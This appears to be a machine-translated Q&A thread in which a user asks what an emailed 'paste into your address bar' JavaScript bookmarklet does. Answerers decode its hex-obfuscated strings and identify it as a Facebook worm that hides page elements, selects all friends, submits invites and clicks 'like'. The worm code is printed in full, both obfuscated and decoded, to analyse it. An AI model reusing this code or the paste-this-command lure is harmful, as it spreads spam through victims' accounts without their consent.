2010-05-24 57 views
7

好吧,偶然碰巧是我的好朋友的人最近給我發送了一些奇怪的電子郵件,其中一個是一個鏈接到一個頁面,要求您將它複製並粘貼到您的地址欄中瀏覽器然後執行它...這段代碼有什麼作用

javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app125879300771588_ifo';mw='app125879300771588_mwrapper';var _0xc100=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function(){fs[_0xc100[8]]();} ,5000);setTimeout(function(){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,5000);setTimeout(function(){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100[5]];} ,5000);})(); 

並不完全與它是當它涉及到底層編程我很好奇,什麼電子郵件,詢問在這裏...

請不要運行此除非你很高興,它不會破壞任何東西。

但是...有人能告訴我它做了什麼嗎?

+0

只是這個蠕蟲的一個變種:http://davezor.posterous.com/reverse-engineering-the-newest-facebook-invit – 2010-05-24 11:34:21

回答

11

我還沒有完全解碼代碼,但這裏有幾點提示。

變量_0xc100定義了一個字符串數組。該字符被編碼爲十六進制,因此讀取它們更加困難。所以,例如,\ x76等於「v」。

您可以放心地alert(_0xc100);以純文本形式查看。

var _0xc100 = ["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79", 
     "\x73\x74\x79\x6C\x65", 
     "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", 
     "\x68\x69\x64\x64\x65\x6E", 
     "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", 
     "\x76\x61\x6C\x75\x65", 
     "\x63\x6C\x69\x63\x6B", 
     "\x73\x75\x67\x67\x65\x73\x74", 
     "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C", 
     "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D", 
     "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70", 
     "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67", 
     "\x6C\x69\x6B\x65\x6D\x65"]; 

轉化爲包含數組這些關鍵字

visibility, style, getElementById, hidden, innerHTML, value, click, suggest, select_all, 
sgm_invite_form, /ajax/social_graph/invite_dialog.php, submitDialog, likeme 

現在,下面的語句(不要執行那些)使用這些關鍵字來實際執行的功能。

例如:

d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3]; 

相當於(d定義爲documentmw在頂部被定義)

document.getElementById("app125879300771588_mwrapper").style.visibility = "hidden"; 

其中隱藏一個元件稱爲app125879300771588_mwrapper

以下說明書給

document.getElementById("app125879300771588_jop").innerHTML = document.getElementById("app125879300771588_jode").value; 

其副本app125879300771588_jop內容到app125879300771588_jode

document.getElementById("suggest").click(); 

我猜點擊一些 「建議」 按鈕。

最後,設置3個的setTimeout功能5秒(5000)

後執行3個命令他們轉化爲

setTimeout(function() { 
    select_all(); 
    }, 5000); 

我以爲選擇你所有的朋友...

setTimeout(function() 
    { 
    SocialGraphManager.submitDialog("sgm_invite_form", "/ajax/social_graph/invite_dialog.php"); 
    }, 5000); 

...把​​他們邀請

setTimeout(function() 
    { 
    document.getElementById("likeme").click(); 
    document.getElementById("app125879300771588_ifo").innerHTML = 
     document.getElementById("app125879300771588_ifc").value; 
    }, 5000); 

...並按下一個按鈕一樣

請注意,我不使用Facebook,而我不知道的插件和它的出局,但我想這是很清楚,這個代碼是惡意的。

12
a = 'app125879300771588_jop'; 
b = 'app125879300771588_jode'; 
ifc = 'app125879300771588_ifc'; 
ifo = 'app125879300771588_ifo'; 
mw = 'app125879300771588_mwrapper'; 
var _0xc100 = ["visibility", "style", "getElementById", "hidden", "innerHTML", "value", "click", "suggest", "select_all", "sgm_invite_form", "/ajax/social_graph/invite_dialog.php", "submitDialog", "likeme"]; 
d = document; 
d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3]; 
d[_0xc100[2]](a)[_0xc100[4]] = d[_0xc100[2]](b)[_0xc100[5]]; 
d[_0xc100[2]](_0xc100[7])[_0xc100[6]](); 
setTimeout(function() { 
    fs[_0xc100[8]](); 
}, 5000); 
setTimeout(function() { 
    SocialGraphManager[_0xc100[11]](_0xc100[9], _0xc100[10]); 
}, 5000); 
setTimeout(function() { 
    d[_0xc100[2]](_0xc100[12])[_0xc100[6]](); 
    d[_0xc100[2]](ifo)[_0xc100[4]] = d[_0xc100[2]](ifc)[_0xc100[5]]; 
}, 5000); 

這很可能是許多Facebook蠕蟲之一的自適應發送給所有的朋友。

Looke here對於類似的問題。

的這個其它版本使用p.a.c.k.e.r混淆,而這些可以很容易地通過運行p.a.c.k.e.r代碼通過http://jsbeautifier.org/

4

這是一個obfuscatedbookmarklet被模糊化。您可以將其精簡(仔細地)以查看它將運行的實際Javascript。如果你沒有強大的需求,但可能不值得打擾。我會把它和我的朋友一起檢查一下,看看它是否真的來自他/她,如果是的話,爲什麼。

+0

我有一個朋友看着這個(並在一臺機器上運行它,我們沒有關心) 原來這只是一個鏈接: http://www.hiwiller.com/2010/04/29/if-mario-was-designed-in-2010/ – War 2010-05-24 11:06:28

+0

我熟悉obfustication ...我可以用什麼工具來做這種事情......會爲一些有趣的遊戲/挑戰做出貢獻。 – War 2010-05-24 11:07:51

+1

*「我有一個朋友......在一臺我們不關心的機器上運行它......原來它只是一個鏈接......」*真的嗎?因爲對SocialGraphManager的引用對我來說看起來相當可疑。請參閱:http://davezor.posterous.com/reverse-engineering-the-newest-facebook-invit – 2010-05-24 11:31:41